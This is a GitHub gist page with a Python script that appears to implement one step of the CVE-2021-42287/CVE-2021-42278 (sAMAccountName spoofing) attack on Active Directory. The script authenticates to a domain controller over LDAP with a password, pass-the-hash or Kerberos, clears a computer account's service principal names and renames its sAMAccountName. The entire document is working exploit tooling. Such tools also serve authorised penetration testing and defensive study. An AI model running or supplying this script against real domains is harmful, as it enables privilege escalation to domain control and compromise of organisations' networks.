Skip to content

Instantly share code, notes, and snippets.

@snovvcrash
Last active January 19, 2024 18:25
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save snovvcrash/3bf1a771ea6b376d374facffa9e43383 to your computer and use it in GitHub Desktop.
Save snovvcrash/3bf1a771ea6b376d374facffa9e43383 to your computer and use it in GitHub Desktop.
Python setter for property sAMAccountName for CVE-2021-42287/CVE-2021-42278
#!/usr/bin/env python3
import argparse
import logging
import sys
import ldap3
import ssl
import ldapdomaindump
from impacket import version
from impacket.examples import logger, utils
from impacket.smbconnection import SMBConnection
from ldap3.utils.conv import escape_filter_chars
def get_machine_name(args, domain):
if args.dc_ip is not None:
s = SMBConnection(args.dc_ip, args.dc_ip)
else:
s = SMBConnection(domain, domain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise Exception('Error while anonymous logging into %s' % domain)
else:
s.logoff()
return s.getServerName()
def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
user = '%s\\%s' % (domain, username)
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
if args.k:
ldap_session = ldap3.Connection(ldap_server)
ldap_session.bind()
ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
elif args.hashes is not None:
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
else:
ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
return ldap_server, ldap_session
def init_ldap_session(args, domain, username, password, lmhash, nthash):
if args.k:
target = get_machine_name(args, domain)
else:
if args.dc_ip is not None:
target = args.dc_ip
else:
target = domain
if args.use_ldaps is True:
try:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
except ldap3.core.exceptions.LDAPSocketOpenError:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
else:
return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
def parse_identity(args):
domain, username, password = utils.parse_credentials(args.identity)
if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
from getpass import getpass
logging.info("No credentials supplied, supply password")
password = getpass("Password:")
if args.aesKey is not None:
args.k = True
if args.hashes is not None:
lmhash, nthash = args.hashes.split(':')
else:
lmhash = ''
nthash = ''
return domain, username, password, lmhash, nthash
def init_logger(args):
# Init the example's logger theme and debug level
logger.init(args.ts)
if args.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
def parse_args():
parser = argparse.ArgumentParser(add_help=True,
description='Python setter for property sAMAccountName for CVE-2021-42287/CVE-2021-42278')
parser.add_argument('identity', action='store', help='domain.local/username[:password]')
parser.add_argument("-current-name", type=str, required=True, help="Target computer account to be renamed")
parser.add_argument("-new-name", type=str, required=True, help="New name for the target machine")
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
'omitted it will use the domain part (FQDN) specified in '
'the identity parameter')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
return parser.parse_args()
def get_user_info(samname, ldap_session, domain_dumper):
ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
try:
dn = ldap_session.entries[0].entry_dn
return dn
except IndexError:
logging.error('Machine not found in LDAP: %s' % samname)
return False
def main():
print(version.BANNER)
args = parse_args()
init_logger(args)
domain, username, password, lmhash, nthash = parse_identity(args)
if len(nthash) > 0 and lmhash == "":
lmhash = "aad3b435b51404eeaad3b435b51404ee"
ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash)
cnf = ldapdomaindump.domainDumpConfig()
cnf.basepath = None
domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
dn = get_user_info(args.current_name, ldap_session, domain_dumper)
ldap_session.modify(dn, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [args.new_name]]})
if ldap_session.result['result'] == 0:
logging.info('Target machine renamed successfully!')
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment